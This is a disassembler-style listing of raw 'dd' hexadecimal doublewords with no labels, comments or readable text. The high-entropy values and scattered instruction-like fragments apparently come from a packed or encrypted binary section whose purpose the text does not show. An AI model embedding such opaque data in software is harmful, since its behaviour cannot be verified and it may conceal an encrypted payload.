		dd 0A613AC42h, 0B57C8F2Dh, 40C56940h, 48D616ACh, 31169h
		dd 0CE8DB400h, 239D2EABh, 65DB7B28h, 918C31CEh,	9685F782h
		dd 42877429h, 0DE789E4Bh, 4BB224B9h, 0C011C766h, 6C4F483Bh
		dd 54AD549Dh, 38A816Bh,	2BB4C556h, 74312996h, 48C655E2h
		dd 0D62F8F44h, 860702E9h, 0CEBB43D3h, 4C2DEE13h, 0C9239D13h
		dd 2A093ADCh, 0E7CBBB3Ch, 5C85DD4Bh, 36E82FA5h,	6AB6EC7h
		dd 5B3D40DBh, 0CDBA5F6Eh, 73442629h, 22DF6567h,	2ADB00F7h
		dd 8760F6A3h, 0A45D8513h, 8F7C625Dh, 0A8AB4B1Eh, 5F7208E1h
		dd 0B0557681h, 5377569Eh, 66AB5882h, 648976ABh,	3E9673A9h
		dd 0F90BFB82h, 0F403138Fh, 0B8C152CBh, 35537840h, 40C2BB58h
		dd 423F5378h, 2A714287h, 70623D02h, 64A767Fh, 0FCE30000h
		dd 0E808EF15h, 0E8D2F527h, 0DDFEE91Bh, 0E9D1F428h, 0D54CE61Eh
		dd 1BC146A6h, 43F912BCh, 2CD039A4h, 33E924C9h, 522BE891h
		dd 0CF239669h, 638C561Ah, 8F9D6FAAh, 0B5A53CC4h, 66F4ED01h
		dd 0E46FAAF0h, 2F8EEAFEh, 0E750F4B1h, 80780112h, 8F5239Ch
		dd 0B2276CE6h, 0FE43FE24h, 0BE2FDA01h, 801D60FBh, 0ED9A239Ch
		dd 0D33F1224h, 26299598h, 0DE4CC079h, 34B18BB9h, 9079645Bh
		dd 785CBD7Eh, 2DA16558h, 0CD8EB361h, 1DA380ACh,	77DA7C29h
		dd 0B6413A9Dh, 6D94CE58h, 4A44094h, 990CCFDDh, 0F498D275h
		dd 76338AFEh, 9F3DBA7Fh, 7A9F886Ch, 0B5EEFD3Ah,	753C5A1h
		dd 2E9027D2h, 0ED01D8DDh, 9C32B5Ah, 6E939085h, 244E4193h
		dd 5F19493Dh, 31BF20CFh, 8CE9C0BAh, 0B46DA4EAh,	0FCD97260h
		dd 0FF91E5Fh, 6EE9B79h,	9439618Fh, 6CA57479h, 30C770CAh
		dd 5B0E7F90h, 7A933CBBh, 0A5131899h, 64516204h,	544h, 0ED0F02DDh
		dd 0F329E60Ah, 0E71DE6D4h, 0F22ADB00h, 0FC20E7D3h, 40ACEB26h
		dd 0CB215C7h, 0D3FADDFFh, 6E70E36h, 4AEFD507h, 96687009h
		dd 0B878ED23h, 5278638Ch, 0A46D3CB1h, 0F32FB931h, 9AAC64Eh
		dd 41975BB3h, 22937856h, 0C98AA747h, 2F8EE619h,	35D6F8FFh
		dd 0AD45E9C0h, 8735A3D3h, 0D245A766h, 0BE63AE75h, 95A5D883h
		dd 6522239Ch, 65F367D1h, 0E029E00Bh, 0EC21BE39h, 111E30E9h
		dd 9CAFE702h, 62978429h, 0B787855h, 1DE8D130h, 0F4616EB7h
		dd 3F8A3FC8h, 88953A9Dh, 9C81B2CBh, 41C2281Dh, 9737A05Dh
		dd 6DA47578h, 3E64F268h, 1DC13E03h, 0E8ED1EC0h,	24F5F831h
		dd 99E33F12h, 66512395h, 9A694F86h, 6B8B5E4Fh, 20427993h
		dd 0B97F0FB1h, 0CA370h,	757EA5D0h, 46770h, 30E10000h, 0A05E90Ch
		dd 3EC5F3D2h, 0BFADF06h, 39CEEED9h, 0C3F03103h,	0A94CF017h
		dd 0B114C843h, 0FADDFF0Ah, 0DE0438D5h, 677FFA19h, 47FC2396h
		dd 0E873CEA9h, 29968595h, 0F2011512h, 0DD4D40CDh, 0FEA0F4Bh
		dd 1BC647A8h, 96857D00h, 0E90DFA29h, 8F9B9066h,	7B14E2Fh
		dd 0E20F9FCh, 0F70039E6h, 182234D3h, 1FBABh, 0B1F11500h
		dd 0BB66BC2Ah, 8F9E72A0h, 2DD8C52Fh, 2E40080Ch,	0FFF6D999h
		dd 0BE5D5CEFh, 649D18D9h, 5FCFC6B7h, 758E3C2Eh,	0B8409491h
		dd 0C2C2D163h, 5ACC98BEh, 9720D900h, 0E41D534h,	34598B38h
		dd 0F3676E1Bh, 3D043D65h, 0B75973D7h, 6B1AF211h, 0B01087FEh
		dd 0D7CCF5Fh, 722E63D4h, 49738CB5h, 493841D2h, 0C8B5226Ah
		dd 39DD8C01h, 13BA45FCh, 0AC428FD9h, 0CE03D7CBh, 0E924C928h
		dd 0E322C730h, 0E1FEE953h, 0FD34D1FAh, 0F9A891Eh, 0FBEA0BB3h
		dd 36Ch, 0F527EA05h, 0FB21EED2h, 0EF15EEDCh, 0FA22E308h
		dd 0E418EFDBh, 38A4D34Eh, 24CA2DCFh, 2B9235E7h,	1EBF26DEh
		dd 0D2A74DEFh, 96663841h, 7010B523h, 6FAA638Ch,	26A76888h
		dd 0A9628C73h, 8E17524h, 27B9861h, 7F299686h, 66F06C82h
		dd 0C33C053Ch, 2801F41Bh, 0BA9F4306h, 55522F8Fh, 6FEAADAFh
		dd 0C178A1F9h, 0A03E9536h, 0BD90A66Bh, 29966851h, 0B542F7A4h
		dd 26570417h, 0A31DA437h, 0EFAA2BE6h, 755DE5Fh,	2AAC8620h
		dd 44BB66BCh, 52DF6F98h, 0B8C152A7h, 2E8EC24Eh,	0A885798Eh
		dd 0C24F126Bh, 57928F8Eh, 57B694B7h, 0D494BBh, 7CFF3502h
		dd 0E29BB8B5h, 5F88C8D5h, 2FC767A2h, 696C9D40h,	2B699C93h
		dd 0F93072A4h, 0CEEE0930h, 0EC25E407h, 0DFD8A14Ah, 18F1DCFDh
		dd 0E90DC495h, 8AAFEB7Dh, 39BC4F6Dh, 0B261CE60h, 8EC627D3h
		dd 56B11938h, 7159669Bh, 8EB38096h, 9DD5A8B3h, 655282CCh
		dd 0CC9DC3B6h, 8E434082h, 0A9648968h, 0A26B5473h, 0EAAF2251h
		dd 2E373812h, 250h, 0D90B06E9h,	73DD2EEh, 0D309FAE0h, 63EC7F4h
		dd 0D80CFBDFh, 3498C73Ah, 28C631D3h, 379641E3h,	22CB2AD2h
		dd 0EE8B39EBh, 96654C2Dh, 6424C923h, 23AA638Ch,	40F921B7h
		dd 8FB3D313h, 0A13EB92Fh, 4332CA6Ch, 6B9A3F98h,	57B96BA6h
		dd 95E873CEh, 12299685h, 0F3650115h, 85E19CB7h,	0A15E2996h
		dd 0A746B168h, 9A5FCC62h, 49973C32h, 9906A26Ah,	3D6D732h
		dd 0BC9760F3h, 795B2F95h, 83EAE011h, 0B73FCF50h, 0E2EA0FCAh
		dd 0EAD4003Ch, 0EBE3CB21h, 7C912EA9h, 3EB21BDAh, 0BFA7BBDEh
		dd 369CD88Dh, 3B09A595h, 0F9063BF6h, 0E8C134CFh, 0E409EC46h
		dd 0F9B1F00Ch, 18D15247h, 0DE00D495h, 6EE82B54h, 5B1E3DE4h
		dd 0D823966Fh, 0C95F0B2Bh, 458C7B5Fh, 52B9239Ch, 0CB688E5Bh
		dd 968A5590h, 18C23D29h, 0F6F712B9h, 32E7EE23h,	0F227D41Ch
		dd 1323E605h, 0F526DB26h, 1D965584h, 1CE9D201h,	906EAD5h
		dd 0B241D584h, 0F9DC000Dh, 0F5B439D4h, 556E0F4Ch, 3EEB1D96h
		dd 80DA4C18h, 9B2CA059h, 6E89167Bh, 0AE43D334h,	0BF0A03C0h
		dd 0A015F6D8h, 782225C9h, 0B3238EEDh, 0AC6C25F6h, 9D96A5DAh
		dd 10F98h, 0C849A800h, 20DB114h, 36CDFBDAh, 302E70Eh, 31D6F6E1h
		dd 0BBF8390Bh, 0A144F80Fh, 0C92CD03Bh, 9235E722h, 963CE02Dh
		dd 644732E1h, 1FC42396h, 1469FF61h, 0C3020EB7h,	4F8A3FB3h
		dd 95BE1DC4h, 2CD5D22Fh, 20C62A93h, 0C4F03D97h,	0AD7C71B8h
		dd 76576089h, 76556297h, 50B98393h, 66888767h, 82B76687h
		dd 9684A8D1h, 0DB782523h, 239684A2h, 26A7621Fh,	88537C83h
		dd 6A6BA667h, 0B6AC9FAFh, 0D895C643h, 0F8F0BB11h, 128BA89Fh
		dd 2DAA5FACh, 2BDA7C8Fh, 4B902D3Fh, 93696CA3h, 0A88B173Ch
		dd 47AD646Ch, 0A224213Bh, 2FD51C06h
		dd 65F627C8h, 0B166F614h, 0C22B9491h, 280F864Bh, 629742C3h
		dd 66F5C8B1h, 0B65845B1h, 2790AD2Dh, 0A95045C4h, 66F60F6Ah
		dd 5A8F8CB1h, 551945B4h, 0F86836Ah, 9835B45Ah, 8A33CC75h
		dd 0B7571283h, 0C2389C7Dh, 1E5AAF03h, 0B00DDC72h, 2691585Dh
		dd 7B5144C9h, 2D7013A7h, 3ED019A3h, 3ADh, 390F1300h, 29AC658Ch
		dd 696CA13Eh, 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h
		dd 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h, 0E789571Bh, 2060BE56h
		dd 464E3ADAh, 0DFA4C681h, 0F701C525h, 4EF835Eh,	5C243C87h
		dd 55FB68h, 24148900h, 81E28952h, 4C2h,	4EA8100h, 87000000h
		dd 895C2414h, 0B9512404h, 6001AD1h, 0C8BCA89h, 4C48124h
		dd 68000000h, 2E00h, 81242489h,	42404h,	81580000h, 4ECh
		dd 24148900h, 0FF08408Fh, 83582434h, 34FF04C4h,	0C4815A24h
		dd 4, 0F95B79E9h, 178EFCFFh, 34505B49h,	320B9406h, 0B8C839D8h
		dd 6002318h, 0E0FFC503h, 46700C74h, 76D8594Ch, 3DA7E07Dh
		dd 5C001686h, 0C89BAB1h, 260B50FCh, 10E8h, 0F7CC3C00h
		dd 60FDE4F1h, 0A888A2BCh, 66115E5Dh, 0BF0F5682h, 815A58C0h
		dd 5D0AC2h, 0BBC28A00h,	170Fh, 8E8h, 0D5F6F200h, 8C3297CAh
		dd 0E081666Ah, 8B5E1BB5h, 0AFF7810Ah, 8157AC8Ah, 18E252C1h
		dd 0D7816607h, 0C181796Ah, 3100B15Eh, 78B0Fh, 0B7600000h
		dd 0C88B664Eh, 0F8C18161h, 5636036Bh, 52C68166h, 0A895862h
		dd 0F057B866h, 0C19FEA81h, 10E9339Fh, 0F5000000h, 2EDA9009h
		dd 2BEBD2A2h, 0C2C2AD97h, 81B90B51h, 9FC19BC2h,	0AE85133h
		dd 4E000000h, 3641FD37h, 784922ACh, 5885B433h, 850F4B5Fh
		dd 16h,	0E9FEB70Fh, 1Fh, 0E642772Eh, 9CAA3D23h,	0DADCF3D8h
		dd 8B6633D2h, 0FF6DE9F0h, 4BF1FFFFh, 0B57CB106h, 0E9E8CA5Ch
		dd 16h,	12D63D80h, 4 dup(0)
		dd 90E90000h, 68000006h, 600260Eh, 0F95A49E9h, 269E68FFh
		dd 3FE90600h, 68FFF95Ah, 60028A2h, 0F95A35E9h, 40DB4FFh
		dd 36D9F5E0h, 201E70Eh,	37CEFBDAh, 0DFAE205h, 97C43DD7h
		dd 0C530D433h, 9540E427h, 0C631D336h, 9240E429h, 614336E5h
		dd 0BC02396h, 8D31CE6Dh, 53B61582h, 4D8834C3h, 61549D70h
		dd 0C777956h, 164EEB95h, 2119CB06h, 0A5B66BB7h,	2F8F6221h
		dd 0ED961704h, 239D0B88h, 0D4B2A067h, 48D62718h, 20E7D3ECh
		dd 0CE5AFCADh, 431h, 0FFA7F118h, 0BF36D7F8h, 8E1844EAh
		dd 9851BE22h, 60775661h, 4F0A8B7Ch, 9CB7749Ah, 2F8F9E76h
		dd 4E2FECC9h, 0CB239D6Dh, 0D1EE13DEh, 2D0E20EBh, 6772080Ch
		dd 3357495Fh, 9D575528h, 1CD5D223h, 574336E5h, 0C3C0239Dh
		dd 0BDD22033h, 47D12102h, 1BE61Bh, 2637F07Dh, 0A31CF08h
		dd 0EFCFB843h, 40F1C32h, 2C30AF8Eh, 4336E51Ch, 0C0203E61h
		dd 0DECB33C3h, 3C3DDE23h, 0B9203E61h, 613E3FDCh, 0CEBB203Eh
		dd 60FAF303h, 8A75ACF6h, 0A390A663h, 379C6B78h,	0BA5F1C26h
		dd 64699C3Dh, 2B94A1B5h, 24B119C2h, 8C5D50B9h, 1E995045h
		dd 5C8049BEh, 8AC95479h, 1A4527EFh, 997AAF6Ch, 0BB720377h
		dd 7A876E87h, 7E000004h, 4F76AE63h, 597CA06Fh, 8570946Fh
		dd 5C7BA164h, 0CF659770h, 42C52552h, 7A913B9Ah,	51B823C2h
		dd 6AA34CABh, 0AC6710B2h, 23965FD1h, 0FFD7994Eh, 2FDEFF69h
		dd 0FB26EBBEh, 85641546h, 24E12996h, 22F62512h,	9C2F96AAh
		dd 0BE50B723h, 27904936h, 944548C7h, 738CB582h,	5998BE45h
		dd 546B9671h, 7E2BA26Bh, 53775ED8h, 7F7841B4h, 0C184AA59h
		dd 239660B3h, 75648A75h, 6940B558h, 0DA7C2DA0h,	805BB21Bh
		dd 0B22379DAh, 0EA30353Eh, 0EE000003h, 0DF063ED3h, 9EC10FFh
		dd 0D50024DFh, 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah
		dd 108B312h, 3AD3FCDBh,	0FC17E002h, 23965F81h, 0CEA749FEh
		dd 94618931h, 5DDAF2Ah,	500C22E7h, 5A659CC6h, 0B4819572h
		dd 962B75A7h, 0E508EF2Fh, 3DEA1224h, 0E26E0BB8h, 0FEEC2395h
		dd 0AC21E8D3h, 0B6C134FDh, 1701F419h, 243CE2F0h, 0CE37A41Bh
		dd 0E18DD928h, 0B31F6FEBh, 0DE8B0209h, 44F0EF6h, 6F431DF2h
		dd 52044B2Fh, 0D7000002h, 8409FAE0h, 0CEFB41D5h, 8595E873h
		dd 0DF202996h, 480FEA4Ah, 23DECB3Bh, 960885F8h,	0F1050229h
		dd 930DD02h, 1E9AC103h,	1D31B8B9h, 3FDC25C4h, 2996783Eh
		dd 781465F6h, 94912996h, 62955832h, 22999CA4h, 47A847E7h
		dd 31B91BC6h, 0BC1C4A4Dh, 0B156E076h, 0CC62A746h, 25DC0690h
		dd 8ECD48F6h, 474E3B2Fh, 9C69BDBCh, 65719C23h, 0D545CFA1h
		dd 648848h, 0FF5A0000h,	36DB1469h, 0DEDC54E6h, 0D712FDE1h
		dd 18F5D722h, 0D274E32Eh, 5F34FCD0h, 1D1953DDh,	0BD456F9h
		dd 0EF2F8Fh, 31DD2FE0h,	0B34D1A76h, 8CB56CA5h, 9CD2AECFh
		dd 967E2B23h, 20321283h, 0BD47A72h, 9C91F188h, 5067D023h
		dd 708F9F70h, 0A9C8A462h, 78D48D6h, 50000001h, 860F6AA9h
		dd 8F8C239Ch, 638CB97Fh, 984423AAh, 8C2DCA6Fh, 0AD64A347h
		dd 76576089h, 748B997Ah, 0BF0A4614h, 0AD3D9D1Ah, 3F807533h
		dd 0AB22E789h, 2ED901FEh, 0F7D8DF08h, 0AE49EE16h, 0B059DC0Eh
		dd 3E5CD8F8h, 0D9F502F3h, 0F85BFB36h, 2996815Fh, 966F5C63h
		dd 0C14C7180h, 0CD3C9F18h, 8D2A0F29h, 2935D92Ch, 0F9D446BFh
		dd 0C01B6881h, 2743D009h, 52F920Ch, 0BF38D5FAh,	0B149ED1Ch
		dd 12BC1BC2h, 40F930F9h, 0AFC613F9h, 0BF8CED2Eh, 1C092399h
		dd 43EB4BB8h, 3D9844B3h, 7D9F6A9Dh, 4695725Ah, 0B1DF8686h
		dd 0E670757Eh, 0EA000001h, 0F3D20A07h, 35A044CBh, 29CC7093h
		dd 389F45C0h, 73D17394h, 0AE59813Eh, 9E6D4F76h,	0AD5C7F66h
		dd 9E6F5077h, 0A0BB7C66h, 23965DDDh, 8C53F55Ah,	9475A760h
		dd 4A4BC22Bh, 8609749Fh, 99862996h, 8E2FBE50h, 757B6B4Dh
		dd 840A2F7h, 0BF7AAF7Ah, 1AA9514Dh, 0A54928A1h,	73CEB58Bh
		dd 968595E8h, 1151229h,	0B00ECDF2h, 66F5273Eh, 0CD04A12Eh
		dd 11E89104h, 96617702h, 0E707F429h, 0B36E708h,	96612D50h
		dd 5EFDAA29h, 2996611Bh, 0FE26EB98h, 5B86DC4Ah,	715C7764h
		dd 8D441598h, 70BD5108h, 8FB07EE3h, 0CB76332Fh,	704D8834h
		dd 8841189Dh, 84896651h, 0FC79C872h, 0BC239D12h, 0A1739A43h
		dd 3BA6B11h, 509FAF7Eh,	7F669E6Fh, 3C29AC5Bh, 111h, 0FF69FF84h
		dd 0F0A92CDBh, 1A390039h, 2996855Fh, 0A015F8D5h, 0AF28D5C9h
		dd 21F8FD0Ch, 25F3200Dh, 6C2F96AAh, 4D6D8AAFh, 0AE4B94BAh
		dd 6E5FAA11h, 6BA66189h, 2DC32CCBh, 72D4D2D7h, 0F714BAA0h
		dd 23EE23F6h, 14F9D601h, 1BE8D2EDh, 0F0EDBF9Ah,	4C7E3B59h
		dd 22C72036h, 5C413CD7h, 0C1BE2396h, 73421A2Dh,	0C168386Ch
		dd 45A2DB78h, 621F0EC0h, 8D212DCCh, 0CDC04D72h,	458EEF2Ch
		dd 1E0B0EC0h, 801ECD3h,	27E607E6h, 40AB14F5h, 0DBD23197h
		dd 0C433C30Eh, 0DAA4D51Bh, 583E8C9Fh, 0A45D1C91h, 0BFEF0677h
		dd 7086830Eh, 74AD5881h, 2AAB628Bh, 2106DF6Fh, 5B5C51BCh
		dd 40199C73h, 1F967557h, 0EAB4A285h, 55E9EB50h,	0FEFFBE47h
		dd 6E7C8BABh, 557A617Eh, 0EE7D54B8h, 1FDF87BCh,	490A2FEAh
		dd 0EBFDF30h, 0D45EF0ADh, 0C251CCF1h, 0EBFDFB7h, 0B824734h
		dd 182Ah, 31CE5600h, 9CD87E89h,	80F91ADFh, 0FD299685h
		dd 0D51CF1CEh, 0E70704EAh, 0AC658C51h, 6CA13E29h, 0AA5F7E69h
		dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah
		dd 0C14E7275h, 89531BCCh, 4C381E3h, 83000000h, 1C3304EBh
		dd 241C3124h, 5C241C33h, 465768h, 241C8900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 56241489h, 0FB28BDBEh, 63B9517Bh
		dd 9435E31h, 0EE8159CEh, 75FF1527h, 545EF389h, 8124148Bh
		dd 4C4h, 68525000h, 33439EBh, 0B9F2815Ah, 0F775F16Ah, 0A6F281DAh
		dd 89893AACh, 0D0015AD0h, 8B581889h, 89522414h,	4C281E2h
		dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4815Bh, 0E9000000h
		dd 0FFF953CAh, 0A29CB46Dh, 0B8444528h, 6002AADh, 0E0FFC503h
		dd 52F4B58h, 84F2362h, 132EBBA4h, 6D16B81Dh, 5F503949h
		dd 2C7B8D8Dh, 6A0600h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 19DAADC3h, 89C28915h, 0F90CDD8Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 420937FAh, 85C77AB0h, 5F926C1h, 6688h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A0C35545h, 365F38D6h
		dd 0BA5731E2h, 4840Fh, 0B8660000h, 840FE9BEh, 9, 38B0Fh
		dd 0B70F0000h, 0FD85C7C1h, 5F900h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5DC350h, 5E8F9h, 9B030000h, 0F739BDBh, 0FF5BDFBFh, 0F913ADB5h
		dd 49BD0105h, 0FF05F900h, 0F920D595h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 8D7A92F0h, 25B331Ah,	8E9h, 3D7D6D00h, 45C2EE14h, 0FF006A96h
		dd 0F91AED95h, 0EBC08B05h, 0E6271B2Fh, 80124FBEh, 17CC5CB7h
		dd 0D8CD1107h, 273E4F9Ah, 0C024B893h, 2E08A1F0h, 3A0E8760h
		dd 35747CBAh, 0DB1B7972h, 18800D1Bh, 0FDA8A84Dh, 12E8h
		dd 37F9A700h, 0E9CADF3Eh, 0A22A3056h, 4F3A05F6h, 8B4561DEh
		dd 0F900F59Dh, 8D8B5A05h, 5F9055Dh, 595CC281h, 0C68B0000h
		dd 162F68h, 93B96600h, 0BF0F5FC4h, 81328BDEh, 0EC7600C8h
		dd 0F2F68114h, 606596CAh, 6FD8D8Bh, 8B0F05F9h, 2, 8161CA8Bh
		dd 5267A8EEh, 0CF8B6624h, 7647F681h, 85317B63h,	5F90AF5h
		dd 3830F56h, 80000000h,	28F34D7h, 34F18166h, 0C6EA81D3h
		dd 0E90E4498h, 6, 40D5C41Dh, 0C2814BA9h, 0E4498C2h, 1EF81h
		dd 850F0000h, 0FFFFFF99h, 0CA81F560h, 687D7E3Eh, 158D8D61h
		dd 6A06002Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 670FC350h, 75F19633h, 1FD9B589h
		dd 8D8905F9h, 5F90CDDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 85C35545h, 26C185C7h,	5AE005F9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0D1842AC3h, 7E571567h, 5E8E157h, 0A7000000h,	64FF04C2h
		dd 0C75AD08Ah, 0F900FD85h, 5, 0F88B6600h, 2A69B5FFh, 5E805F9h
		dd 0AD000000h, 370BB745h, 2891B589h, 0FF5E05F9h, 0F920D595h
		dd 6A5AB405h, 0ED95FF00h, 8B05F91Ah, 5B4AEBC0h,	33A3A67Bh
		dd 6893D772h, 0D84C6147h, 91A609C3h, 5F79BE08h,	0F27AA981h
		dd 94C99727h, 6B8E68D4h, 0CDCCF251h, 221E95E5h,	6BB50593h
		dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 5269395h
		dd 79D6BEAh, 5EF98C37h,	7C9353D5h, 21BF5DB1h, 2256AEB1h
		dd 0E12F2D17h, 28199D93h, 4EA2A1CCh, 18CDEEDFh,	3BBFC2CAh
		dd 3656BAB1h, 0C210EE38h, 3FB31B46h, 300057B1h,	0FA56ABB1h
		dd 0F62F8087h, 0F07BA3C0h, 24FB76F3h, 0FE816FC4h, 0CB0803B1h
		dd 0B259AEB1h, 325657B6h, 44512D1h, 5237C5D3h, 0C2D78CD1h
		dd 3EBE0760h, 7856BAB1h, 0E160C3D2h, 1BE24640h,	6DA99497h
		dd 0CDE9A4D0h, 6465D1D0h, 0BB59EAB3h, 325675BDh, 0E4D7DCD1h
		dd 77E90CD3h, 537530E8h, 23BF57B1h, 0DE56ABB1h,	0B6DAC11Ah
		dd 0B26DFF72h, 2AF61DB7h, 90CA0EDCh, 32564C58h,	0B0D8AFB1h
		dd 89CE2B8Fh, 5233EA5Bh, 0B67D8FE5h, 32567001h,	0DB56754Dh
		dd 3256BAB8h, 7D363B7Eh, 4EBB1795h, 0DB5657E0h,	3256ABBFh
		dd 0E80A94Dh, 0B6192A58h, 0B18B01D5h, 9980EE56h, 32575DEDh
		dd 32AAAEB1h, 8C3037B1h, 0FCD7D7CAh, 4807BFB7h,	6CBC61D0h
		dd 0B05975B1h, 3256BAA3h, 32565058h, 0A08507B1h, 1EE0D7BAh
		dd 2DB0DDE2h, 32560F4Dh, 3256EF58h, 89EF6B1h, 32AFC905h
		dd 23DE52B1h, 3D56AEB1h, 32565C32h, 325042B1h, 340AD5B1h
		dd 0F37126BDh, 38BF75B1h, 0D156BAB1h, 5A28F3C0h, 0A9F56039h
		dd 0DB56570Ah, 3256ABA1h, 99034DF7h, 0A1C6522Eh, 50142EC2h
		dd 909C6407h, 32AF5DB1h, 325652B1h, 3D565748h, 3256A63Dh
		dd 0BA59B5B1h, 3256EAB1h, 2BA4F4D7h, 3DBFDB4Dh,	0E6565DB1h
		dd 71E94FC7h, 0C0F5C000h, 0EDF51927h, 3256ECE8h, 5256EA44h
		dd 0B39FF4D7h, 0E8DDDC25h, 3D565DD0h, 3256A039h, 325FBEB1h
		dd 0AB27ABB1h, 4A18699Dh, 321C2A4Fh, 325F9CB1h,	1367BAB1h
		dd 0C6D4011Ch, 321E3583h, 3BDD58B1h, 5256ABB1h,	20ED8FE7h
		dd 536EE055h, 32AE75B1h, 6405DAB1h, 323707EFh, 32A356B1h
		dd 80E437B1h, 538E20D7h, 325E3CD1h, 0C7D7EAB1h,	8E2C4E06h
		dd 3237902Dh, 3256A4B1h, 0B28625D1h, 3237E56Eh,	325753B1h
		dd 3247D5B1h, 3EBFEAB1h, 435675B1h, 44049FBBh, 0B561D516h
		dd 32F1C70Eh, 33DC58B1h, 0CB56ABB1h, 325B5CBEh,	5436EAB1h
		dd 9E8C8230h, 1BB96A30h, 0EA3752D1h, 3656AAB6h,	365654B1h
		dd 35569CB1h, 0D95593B1h, 32379734h, 0B93015B1h, 325C526Bh
		dd 738F5DB1h, 8107F4CBh, 0ED828E9Fh, 699D14BEh,	5256D5D0h
		dd 324403E0h, 0A63375B1h, 0CB740651h, 0FEEB6E95h, 47CD2B57h
		dd 0B2C4F109h, 0C2D7CDEFh, 3237C03Bh, 325E03B1h, 0CBA875B1h
		dd 40EB8BF9h, 325672C0h, 325A24BEh, 0B33657B1h,	47471843h
		dd 98EFB3B4h, 32568B54h, 325EFDBEh, 5436BAB1h, 8D59833Ah
		dd 3256CF70h, 32564658h, 2B33CBB1h, 7A5CB77Fh, 61219F59h
		dd 0BAA5B122h, 32562FA2h, 68565D48h, 8B9019B3h,	762DD0A9h
		dd 0C756ABD0h, 300CD5B1h, 3256EAB0h, 0CA567549h, 3256BA0Fh
		dd 66F15DB1h, 0F2155C4Ch, 0DEC96948h, 6006FB04h, 3256DC58h
		dd 1F487B1h, 0BDB81C41h, 3599FADh, 3BBF0FE1h, 0EF56AEB1h
		dd 0EB7674E3h, 0A71AD42Fh, 6006E4BEh, 6A0CDBBEh, 6A0C2DEBh
		dd 5803B627h, 487A5EAh,	0F05B0A86h, 3C5F4762h, 2893979Eh
		dd 0A40E8FFAh, 434E113Bh, 9F92A2E7h, 9B66C953h,	570A929Fh
		dd 359FCE1h, 530F0FEBh,	6245A922h, 4E399BF8h, 680EB0B4h
		dd 0C77AE2E9h, 6A0C413Bh, 32C405EBh, 3510AEB1h,	91840A85h
		dd 44C3F3EBh, 301B31C6h, 7C1FBAA2h, 685309DEh, 6006273Ah
		dd 325FB42Dh, 80EBAEB1h, 0CCEFD7B2h, 0DB2307EEh, 3256D5A1h
		dd 65801B29h, 0C13458F5h, 7DF89301h, 59ECB86Dh,	0B967A12Ch
		dd 530E0D48h, 3256AB21h, 0DF52C227h, 52CB5993h,	6A0C14D0h
		dd 3672FE38h, 22BFC1D1h, 0BA56AEB1h, 6511190h, 92F579ECh
		dd 0FEA9CBE8h, 544DC0A4h, 0E1A09530h, 3256B658h, 0B09B39B1h
		dd 0FC9F7E22h, 0E8D3AB5Eh, 0DBCA36BAh, 3256D5BAh, 6B7E56h
		dd 4C6F7532h, 0B3A3966Eh, 0A5FB4571h, 32504786h, 0E50057B1h
		dd 41B40675h, 940EB42Ch, 6B7E56h, 0C3D71332h, 26BFC3CFh
		dd 1E565DB1h, 2AAD2444h, 0F68101C0h, 225491Ch, 6E99FB18h
		dd 0AFBDD0D4h, 0DBF32DD0h, 98FBF56Eh, 9EF892DDh, 53C4500Bh
		dd 32AE57B1h, 33D0A4B1h, 0CE56D5B1h, 5436EAB1h,	54CBED08h
		dd 6D0F5130h, 0C7565DD0h, 0DB56AE4Dh, 325657A5h, 36643454h
		dd 29B7EF5Eh, 89ADCA92h, 77F709Eh, 66E75424h, 32AF5DB1h
		dd 0F9E9CEB1h, 0DA633874h, 3256ABB7h, 450B163Dh, 0F5DC499Ah
		dd 325614EBh, 3256BC58h, 0C3C39BB1h, 32B06F0Bh,	3251BEB1h
		dd 2846ABB1h, 364EC469h, 0CB56EAACh, 0BB5975B1h, 3256BAB9h
		dd 0B330A5D1h, 535EB969h, 0DB3657B1h, 3256ABA5h, 703A5A98h
		dd 0FE93D44Ch, 3E4504BFh, 3BC51C9Ah, 91563A67h,	407516D7h
		dd 3D5657D0h, 3256A536h, 325F3CB1h, 105DEAB1h, 82623F4Fh
		dd 3262D25Bh, 33DF52B1h, 0CB56AEB1h, 32565C58h,	0D6C7EB1h
		dd 41214065h, 6EE01A2Eh, 32A375B1h, 39DBB5B1h, 0DB565DB1h
		dd 3256AEB7h, 7837CA84h, 3256AE9Ch, 32595DBEh, 38BFEAB1h
		dd 765675B1h, 0A739C632h, 33F0C61h, 3D56AE5Dh, 32565639h
		dd 325653B1h, 3256C758h, 1A73A2B1h, 4C09854Fh, 0CD57051Eh
		dd 317A3EAh, 32DF06C5h,	33D158B1h, 0CA56ABB1h, 6536D5B1h
		dd 0B20FB2E1h, 32376979h, 32564FB1h, 325EDDBEh,	3D36AEB1h
		dd 3256573Dh, 32A3CAB1h, 8D59B5B1h, 53305F61h, 0BD5975B1h
		dd 3256BAB6h, 3257DFBEh, 32A3AEB1h, 0B33037B1h,	53513B79h
		dd 0BA59D5B1h, 3256EAB8h, 0B25980D1h, 3256BAB1h, 3D565DD0h
		dd 3256A239h, 34D258B1h, 3D56ABB1h, 3256D533h, 325612B1h
		dd 325CF5BEh, 0B336BAB1h, 53D8227Bh, 5309FF8Bh,	32D358D1h
		dd 5456ABB1h, 53553F0Fh, 0BC59EAB1h, 325675B6h,	32573ABEh
		dd 32AA5DB1h, 21BECEB1h, 845657B1h, 0ECBC7D33h,	56BCB67h
		dd 4669893h, 338573FCh,	0DAD6E43Ah, 0B9300385h,	26BFCF69h
